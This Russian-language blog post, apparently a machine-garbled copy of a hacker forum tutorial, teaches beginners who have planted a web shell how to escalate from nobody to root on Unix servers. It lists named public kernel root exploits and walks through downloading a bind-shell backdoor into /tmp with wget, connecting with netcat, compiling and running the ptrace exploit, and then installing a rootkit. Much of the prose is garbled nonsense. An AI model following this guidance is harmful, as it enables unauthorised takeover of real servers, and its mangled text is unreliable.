logo site
Страницы
  • Карта Сайта
Реклама
Рубрики
  • Basic
  • C#
  • Flash
  • Net
  • Objective-C
  • Pascal
  • Ruby
  • SQL
  • Новости
  • Проектирование и архитектура
  • Фортран
Партнеры:
ноября
25

От nobody до root (в целом ветхая среднее воистину учебное заведение)

Автор: admin, размещено в: Objective-C, комментарии: Комментариев нет

Статья расчитана для начинающих(чайников,начинающих и для залётных жителей нашей планеты на форум с вопросцем , что хладнокровно творить? у меня есть шелл?).

Похожую заметку прописал Desr0w http://forum.antichat.ru/showpost.php?p=137357&postcount=1. Не браните меня.

|————————————————–|

|1.Intro.

|2. Конечно, немного о GCC.

|3.Local root exploit for *nix.

|4. Впрочем, теория.

|5.Download.

|————————————————–|

Intro.

Множество начинающих опосля успешной заливки интернет shell’a , Прекрасно не понимают что далее нарочно делать. Значит или вернее тихо выразиться, Правильно не понимают как и посредством чего же можнож высоко поднять привилегии в *nix системах. Возможно, существует просто-напросто большое количество методов поднятия прав в системе от nobody до root. Кроме того и так на данный момент мы хладнокровно попробуем уверенно разглядеть приемлимые приемы для захвата рута. Казалось, приступим.

Немного о GCC.

На основной массы *nix системах стоят по дефолту(по умолчанию), компилятор gcc (GNU project C Compiler). Разумеется который

компилирует C\C++ исходники программ. Однако, он нам в целом необходим для компиляции експлоитов. Во всяком случае и так несколько о GCC.

Компиляция имеет возможность включать до 4 стадий: препроцессирование,

собственно компиляцию, ассемблирование и линковку, постоянно в данном

порядке. Быть может первые 3 стадии используются к особенно отдельному очень-то начальному файлу и

неожиданно заканчиваются получением прямо-таки объектного файла; линковка соединяет

все по-хорошему объектные файлы (поновой откомпилированные либо самостоятельно приобретенные как

по-особенному входные) Добросовестно в выполняемый файл.

Для хоть какого фамилии входного файла суффикс описывает какая компиляция

требуется:

file.c Исходный код на C, который лично имеет необходимость в препроцессировании.

file.i Исходный код на С, который крайне не имеет нужду в препроцессировании.

file.ii Исходный код на C++, который крайне не имеет нужду в препроцессировании.

file.m Исходный код на Objective C. Наконец, добросовестно заметим, что вам нужно было

подключить библиотеку ‘libobjc.a’, чтоб долго вынудить

Objective C програмку инстинктивно действовать.

file.h C заголовочный файл (не для компиляции или же линковки).

file.C Исходный код на C+, который лично имеет необходимость в препроцессировании.

file.s Ассемблерный код.

file.S Ассемблерный код, который лично имеет необходимость в препроцессировании.

другие весьма Объектный файл, который надо долго дать напрямик на линковку. Кажется, так

прилично поступают с хоть каким именованием файла с нераспознанным суффиксом.

Вы сможете напрямик показать входной язык с помощью функции ‘-x’:

-x язык.

Прямо специфицирует язык следующих входных файлов

(в том числе и когда компилятор крайне имеет возможность необычайно подобрать язык на основании

суффикса фамилии файла). Надеюсь эта функция срабатывает на все

по-старому входные файлы вплоть до воистину последующего выходы в свет функции ‘-x’.

Возможными значениями для языка считаются:

Выключает хоть какое распоряжение языка так, что следующие

файлы обрабатываются согласно с суффиксами фамилий файлов

(как когда бы ‘-x’ не указывалось бы решительно).

Если вам потребуются только какие-либо из стадий компиляции, вы

можете применять ‘-x’, чтоб добросовестно показать gcc где неожиданно начать, и 1

из настроек ‘-c’, какие-либо композиции (к примеру, ‘-x cpp-output

-E’ предписывают gcc ни замечательно делать как долго говорится ничего).

-c Компилировать или же ассемблировать начальные файлы, хотя

линковать. Таким образом, стадия ликовки просто не производится. Так вот, очень-то конечный

вывод часто случается в форме довольно-таки объектного файла для любого

поистине начального файла.

По умолчанию, фамилия однозначно объектного файла делается из фамилии

полностью начального замысла’.c’, ‘.i’, ‘.s’, и.т.д.

‘.o’.

Нераспознанные входные файлы, не часто требующие компиляции

или же ассемблирования, игнорируются.

-S Остановиться в последствии фактически компиляции; не ассемблировать.

Вывод делается в форме файла с ассемблерным кодом

для любого не ассемблерного мало-мальски входного файла.

По умолчанию, фамилия файла с ассемблерным кодом делается из

фамилии в общем-то начального замысла’.c’, ‘.i’, и.т.д.

‘.s’.

Входные файлы, которые не настоятельно совершенно просят компиляции игнорируются.

-E Остановиться опосля стадии препроцессирования;

совершенно запускать фактически компилятор. Кстати, вывод делается в форме

препроцессированного очень начального кода, который посылается

по-старому стандартный вывод.

Входные файлы, которые не настоятельно срочно просят препроцессирования

игнорируются.

Поместить вывод в файл ‘файл’. Пожалуй, эта функция используется

без разницы от вида порождаемого файла, есть ли данное

весьма выполнимый файл, очень-очень объектный файл, ассемблерный файл либо

препроцессированный C код.

Поскольку указывается лишь 1 weekend файл, нет

смысла применять ‘-o’ при компиляции наиболее нежели 1-го

напросто входного файла, когда вы не порождаете на выходе налицо выполнимый

файл.

Если ‘-o’ не предписано, по умолчанию очень-очень выполнимый файл

помещается в ассемблерный код в ‘мало-мальски начальный.s’ и все

препроцессированные C файлы - в шаблонный вывод.

-v Печатать (в шаблонный вывод погрешностей) команды исполняемые

для пуска стадий компиляции. Вероятно, также постепенно печатать номер

версии правящей программы компилятора, препроцессора и

самого компилятора.

Использовать каналы заместо временных файлов для коммуникации

меж совсем разными стадиями компиляции. Говорят, это быстро сможет

спокойно работать на неких системах, где ассемблер лично не имеет возможности быстро читать

из канала, хотя ассемблер GNU лично не имеет задач.

Для того чтоб скомпилировать експлоит мы делаем gcc exploit.c -o exploit. В конце концов, быстро подозрительно осмотрим: gcc -

сам компилятор, exploit.c - наш исходник експлоита, -o - флаг, exploit - фамилия программы в последствии компиляции.

Если вас привлек компилятор GCC , и вы тщетно пытаетесь сильно уважать полностью абсолютное управление то непременно зайдите по гиперссылке

http://linux.taraz.kz/doc/c/gcc1.html.

Local root exploit for *nix.

Здесь мы осмотрим експлоиты для поднятия привелегий в *nix system. В общем существует 2 направления експлоитов,local(очень-то локальный) и remote(удалённый). Наверно, и так, в паблике умышленно присутствовать особенно большое количество слишком всевозможных експлоитов. К счастью, я мысленно выложу

список самых вправду действенных експлоитов для поднятия привелегий.

[--------------------------------------------------------------*nix--------------------------------------------------------------------]

`—Linux 2.2.x / 2.4.22 [Linux kernel ptrace/kmod local root exploit] [local] [ptrace-kmod]

`—Linux 2.2.x / 2.4.23 [Linux kernel do_brk vma overflow local root exploit] [local] [do_brk]

`—Linux 2.2.x / 2.4.24 /2.6.0-2 [mremap missing do_munmap return check kernel exploit] [local] [mremap_pte]

`—Linux 2.2 / 2.2.27-rc2 / 2.4.27 / 2.4.31-prel /2.6.x [Linux Kernel binfmt_elf Executable File Read Exploit] [local] [binfmt_elf]

`—Linux 2.6 / 2.6.11 [Linux Kernel (CPL 0) Local Root Exploit] [local] [k-rad3]

`—Linux 2.6.x [Linux Kernel 2.6.x chown() Group Ownership Alteration Exploit] [local] [raptor_chown]

`—FreeBSD 4.x / 5.4 [master.passwd Disclosure Exploit] [local] [kmem]

`—FreeBSD 4.6-STABLE / 4.7-RELEASE [Local root exploit for hlfsd] [local] [hlfsd-xp]

`—FreeBSD 5.4-RELEASE [Qpopper Вам предоставлены действенные сплоиты.

Теория.

И так утебя есть web shell , значительно залитый на сервер. В самом деле первым дело сильно проверяем попросту собственные права командой id и видим>

Давай узнаем какое ядро, чтобы достичь столь желаемого результата водим команду uname -a и что мы видим. Linux 2.2.21 превосходно, отлично. Видимо будем быстро брать експлоитом ptrace-kmod.c . Действительно для данного нам надобно пробиндить тачку, дабы обрести шелл оболочку. По-видимому тщетно ищем

открытую папку для заливки файла. Более того по дефолту данное папка tmp. С другой стороны заливаем bind.pl ( wget -O /tmp/bind.pl http://site/bind.pl ) и нежно запускаем командой perl bind.pl . Короче говоря, хладнокровно открываем net cat и глубоко вбиваем host 32767. Напротив комично появился backonect. Оказалось, что ужасно проверяем на наличии компилятора командой which gcc . Ну что ж заливаем наш експлоит в tmp( wget -O /tmp/ptrace.c http://site/ptrace.c ). А теперь идём в папку tmp (cd /tmp), компилируем ( gcc -o ptrace ptrace.c ), Запускаем ( ./ptrace ) и видим

[+] Now wait for suid shell…

Имея root возможно самостоятельно установить rootkit.

Download.

Также и видео :

1)Уязвимость в HostAdmin, root через бажное ядро Линукса.[c] Melco http://video.antichat.ru/file185.html

2)Получение root прав на сервере yargsm.ru [c] l@m@rEz http://video.antichat.ru/file151.html

3)Получаем root, приму на вооружение сплоита. [c] Fan http://video.antichat.ru/file120.html

Оставить комментарий

Вы должны быть зарегистрироавны чтобы оставить комментарий.

  • Категории
  • Новости
  • Популярное
  • Комментарии
  • Архив
Programmirovanie. Все права защищены